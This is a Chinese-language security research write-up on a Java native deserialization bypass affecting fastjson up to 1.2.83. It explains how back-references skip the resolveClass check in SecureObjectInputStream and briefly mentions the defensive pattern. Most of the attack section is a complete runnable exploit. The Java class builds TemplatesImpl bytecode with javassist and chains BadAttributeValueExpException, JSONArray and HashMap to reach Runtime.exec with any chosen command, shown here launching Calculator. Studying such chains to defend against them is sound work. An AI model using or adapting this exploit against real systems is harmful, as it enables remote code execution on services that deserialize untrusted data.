当然这里不会详细说明完整的序列化与反序列化的过程，如果有感兴趣的可以参考panda师傅的博客，关于序列化流程分析总结与反序列化流程分析总结，里面已经写的很细致了。
回顾
之前提到了从1.2.49开始，我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法，
在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查，这样真的是安全的么？
resolveClass的调用
乍一看，这样的写法很安全，当调用JSONArray/JSONObject的Object方法触发反序列化时，将这个反序列化过程委托给SecureObjectInputStream处理时，触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的，就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
不安全的反序列化过程
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ObjectInputStream -> readObject xxxxxx(省略中间过程) SecureObjectInputStream -> readObject -> resolveClass |
安全的反序列化过程
多提一嘴，平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream)，由它来做反序列化的入口，这样才是安全的，因此压力再次给到了开发身上
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TestInputStream -> readObject -> resolveClass
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为了解决这个问题，首先我们就需要看看什么情况下不会调用resolveClass，在java.io.ObjectInputStream#readObject0调用中，会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
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switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException("writing aborted", ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true); bin.peek(); // force header read throw new OptionalDataException( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException( "unexpected block data"); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException(true); } else { throw new StreamCorruptedException( "unexpected end of block data"); } default: throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); } |
再往后，跳过一些细节过程，上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符，在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass
再回到上面这个switch分支的代码，不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION，string与null这种对我们毫无用处的，exception类型则是解决序列化终止相关，这一点可以从其描述看出
那么就只剩下了reference引用类型了
如何利用引用类型
现在我们就要思考，如何在JSONArray/JSONObject对象反序列化恢复对象时，让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用，这里也简单提一下，这里以List为例，
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ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList); |
当我们写入对象时，会在handles这个哈希表中建立从对象到引用的映射
当再次写入同一对象时，在handles这个hash表中查到了映射
那么就会通过writeHandle将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了，这里简单以伪代码呈现，便于理解思路
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TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList); |
简单梳理下
序列化时，在这里templates先加入到arrayList中，后面在JSONArray中再次序列化TemplatesImpl时，由于在handles这个hash表中查到了映射，后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象，之后恢复BadAttributeValueExpException对象，在恢复过程中，由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象，会触发JSONArray/JSONObject的readObject方法，将这个过程委托给SecureObjectInputStream，在恢复JSONArray/JSONObject中的TemplatesImpl对象时，由于此时的第二个TemplatesImpl对象是引用类型，通过readHandle恢复对象的途中不会触发resolveClass，由此实现了绕过
当然前面也提到了不仅仅是List，Set与Map类型都能成功触发引用绕过。
完整利用
至此fastjson全版本实现了原生反序列化利用
代码测试依赖
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<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> |
测试代码以HashMap为例
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import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Y4HackJSON { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } } |
